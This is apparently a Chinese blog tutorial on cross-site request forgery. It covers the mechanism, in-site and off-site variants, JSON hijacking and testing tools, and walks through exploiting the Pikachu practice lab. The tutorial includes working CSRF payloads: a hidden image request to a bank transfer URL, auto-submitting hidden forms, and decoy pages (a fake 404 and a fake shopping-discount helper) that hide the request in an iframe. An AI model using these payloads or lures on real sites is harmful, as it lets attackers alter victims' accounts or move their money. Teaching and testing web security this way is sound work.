今天学会一个词,失之毫厘谬以千里
CSRF
一、简介:
CSRF(Cross-site Request Forgery)跨站请求伪造(或者缩写为XSRF),也被称为"One Click Attack"或"Session Riding"(曾被列为互联网 20 大安全隐患之一),是一种借助社工对网站身份的恶意利用。
不大流行,但如果被成功利用,危害更大。
1、在跨站点请求伪造(CSRF)攻击中,攻击者只需创建一个看似无害的网站,致使用户的浏览器直接向易受攻击的应用程序提交一个请求,执行某种有利于攻击者的无意操作。同源策略并不阻止一个网站向另一个域提出请求,但它确实阻止提出请求的网站处理跨域请求的响应,正常情况下,CSRF攻击只是一种“单向“ 攻击。
2、所以在纯粹的CSRF攻击中, 要想实施如XSS蠕虫中的多阶段操作,从响应中读取数据并将其合并到随后的请求中, 将很难实现
3、请求易于受到CSRF攻击可能有:请求执行特权操作、仅仅依靠HTTPcookie来追踪会话、攻击者可以确定执行操作所需的所有参数等。
4、针对这些特点表现出的缺陷, 攻击者可以构建一个Web页面,向易受攻击的应用程序提出一个跨域请求, 在其中包含执行特权操作所需的所有步骤。攻击将所有请求参数放入隐藏表单字段中, 并包含一段用于自动提交表单的脚本,用户的浏览器提交此表单时, 将自动添加用户的目标域的cookie,并且应用程序会正常处理生成的请求。如果管理用户登录到易受攻击的应用程序,并访问攻击者的包含此表单的Web页面,该请求将在管理员的会话中处理,攻击者的账户因此得以创建
5、应用程序确认站外图像方面的漏洞称为 "检查时间,使用时间” 漏洞。因为某个数据在一个时间确认,却在另一个时间使用,导致攻击者能够在这两个时间的间隔内修改该数据的值
二、CSRF与XSS的区别:
XSS
通过盗取网站内的已有的用户的身份,然后再执行相关操作
CSRF
通过伪装(伪造、更改状态的请求)用户身份(即盗用身份),通过服务器身份认证后,然后发送恶意请求(服务器会认为请求是合法的),但是服务器给出响应肯定是给真实的那个用户,
三、原理:
在浏览器中cookie在一段时间内是不会过期(不关闭或者退出浏览器),再次访问都会默认登录,这个应该都有体验。如果在cookie存在期间,通过构造csrf脚本或包含csrf脚本的链接发送给用户,得到信息后,再伪造成用户身份,执行相关操作
四、基本流程:
用户在某网站A进行登录-------->身份验证成功,返回cookie给用户---------->攻击者构建一个网站F,诱使用户使用同一浏览器进入(前提:未退出网站A,一般都会有默认浏览器)------------->网站F收到用户请求后,返回恶意代码给用户,强制他访问网站A---------->用户浏览器在网站A上执行相关操作(以已经持有的cookie)
五、危害:
比如发消息、盗号、转账……等没有没有需要再次验证身份的基本操作。
再要验证身份的话,那就再社工……(搭建一个一模一样的网站……)
六、分类:
站外攻击:
因为考虑到用户体验感,就不会将用户限制的死死的,一定会开放一部分功能供使用,攻击者在站外构造脚本伪造请求,用户在攻击者构造的网站中触发伪造请求时,强制用户客户端就会发起请求(一般是在同一浏览器,而且某一用户登录上的未退出的网站)
站内攻击:
如果开发人员滥用$_REQUEST 类变量,以Post提交的数据表单,也支持Get传参。攻击者把预测的请求参数上传到站内贴子或留言的图片链接里,当用户浏览了含有请求参数的页面就强制发出这些请求。
七、举例:
Get提交方法:
在你精心构造网页的事件里面,添加一些要求用户执行相关请求行为的链接
这个标签把,也可以在其他里面,就是看哪里点击概率大
……
<meta charset='utf-8'>
<img src='URL/bank/action.php?
username=xxx&money=10000&submit=%E4%BA%A4%E6%98%93'
alt='砍一刀赚200,这不冲'>
<meta>:可提供有关页面的元信息,位于头部。在 HTML 中,没有结束标签。 在 XHTML 中,必须被正确地关闭。charset:编码
username、money:都是可能的参数名
alt:替代文本
Post提交方法:
post提交,一般都是提交到服务器的一些重要的东西
也可以在构造的网页里面有一个让别人容易相信的表单等post提交方法(不涉及很多私密东西)
用户提交post请求后,然后触发post伪造请求用户自己登录过的网站服务器,执行……
<meta charset='utf-8'> <form name='csrf' action='URL/bank/action.php' method='post'> <input type='hidden' name='xxxx' value='xxxx'> <input type='hidden' name='money' value='10000'> </form> <script>document.csrf.submit()</script></form>:创建供用户输入的 HTML 表单
document:每个载入浏览器的 HTML 文档都会成为 Document 对象。Document 对象使我们可以从脚本中对 HTML 页面中的所有元素进行访问
未进行CSRF-token验证
位置:
cookie、 form表单、 URL参数
原理:
当用post提交数据的时候,django会去检查是否有一个csrf的随机字符串,如果没有就会报错
cookie中的token:
cookie一般不会附带HttpOnly属性,因为如果服务器自己要想再在cookie里面提取东西就不行了
因为CSRF-toke是限制CSRF,所以我们就要通过一定方法拿到CSRF-toke,问题就解决了
所以我们需要结合其他手段进行获取,例如xss等
FLASH CSRF
属性:
AllowScriptAccess:控制Flash与HTML页面的通信(设置不当导致XSS)
AllowNetworking:控制Flash与外部网络的通信(设置不当导致CSRF)
Json劫持
简介:
又称“JSON Hijacking”(与CSRF类似),Json劫持是为了达到获取敏感数据的目的,而CSRF类似于钓鱼(愿者上钩)
简而言之,就是对数据进行窃取,转向发给自己
获取数据的方式:
xmlhttp:
{"username":"……","password":"……"}
script:
userinfo={"username":"……","password":"……"}
利用过程:
第一步:寻找网站对象,使用AJAX(一般为JSON传输数据)作为前端脚本
第二步:诱导用户进入钓鱼网站
第三步:劫持钓鱼网站中用户的数据
** (也爱爬山,山顶风景不是人人都可以看见的)**
八、工具使用:
deemon
下载地址:
链接地址:Deemon is a tool to detect CSRF in web applications(github.com)
简介:
这是Deemon的代码库,一个用于在Web应用程序中检测CSRF的工具。 Deemon是一种应用程序无关的自动框架,旨在由开发人员和安全分析师在软件开发生命周期的安全测试阶段使用。当前版本的Deemon支持使用MySQL数据库的基于PHP的Web应用程序
CSRFTester
简介:
CSRFTester是一款CSRF漏洞的测试工具.运行在windows上。
下载链接:
链接:https://pan.baidu.com/s/1zHV1qwXwviOS29akrbODbA?pwd=hj12
提取码:hj12基本使用方法:
第一步:配置本地服务器的代理监听
第二步:开始记录
九、利用过程:
CSRF(GET)
第一步:模拟用户(目标)登录
尝试修改个人信息
在开发者模式中的网络中可以看见修改提交的URL
第二步:获取修改提交的URL
这个可以先自己提交的时候,然后找找提交修改的URL规律
不行的话,就结合xss等手段
第三步:构造恶意执行语句
第四步:将构造的URL诱骗用户点击
在同一浏览器中打开这个URL将执行修改操作
更多其他的伪装方法:
写入html文件中,诱骗用户点击,并使用各种提示打消用户的疑虑
//①伪装成错误页面(即404页面)
<html> <head> <title> 页面找不到 </title> </head> <body> <img src="http://localhost:8080/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=女&phonenum=12124123123&add=北京&email=123456qq.com&submit=submit" border="0"style="display:none;"/> <h1>404<h1> <h2>file not found.<h2> </body> </html>
//②使用嵌套,让用户不易发现
duoduo.html
<html> <head> <title> 某多多在线砍一刀 </title> </head> <body> <a href="post.html">在线机器人帮助砍一刀,点击砍取!!!</a> </body> </html>
post.html
<html> <head> <title> 某多多助手 </title> </head> <body> <p>请到某多多中查看砍一刀是否成功</p> <iframe/ src="http://localhost:8080/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=女&phonenum=12124123123&add=北京&email=123456qq.com&submit=submit" frameborder="0" width="0px"> </body> </html>
CSRF(POST)
第一步:是要获得用户修改提交的URL
这个可以自己先提交一遍,尝试能不能分析出,不行就尝试社工
第二步:构造恶意执行语句
<html> <head> <script> window.onload = function() { document.getElementById("postsubmit").click(); } </script> </head> <body> <form method="post" action="http://localhost:8080/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php"> <input id="sex" type="text" name="sex" value="girl" /> <input id="phonenum" type="text" name="phonenum" value="1111111" /> <input id="add" type="text" name="add" value="广州" /> <input id="email" type="text" name="email" value="111111111" /> <input id="postsubmit" type="submit" name="submit" value="submit" /> </form> </body> </html>
第三步:诱导用户点击
就已经执行了修改操作了
版权归原作者 黑色地带(崛起) 所有, 如有侵权,请联系我们删除。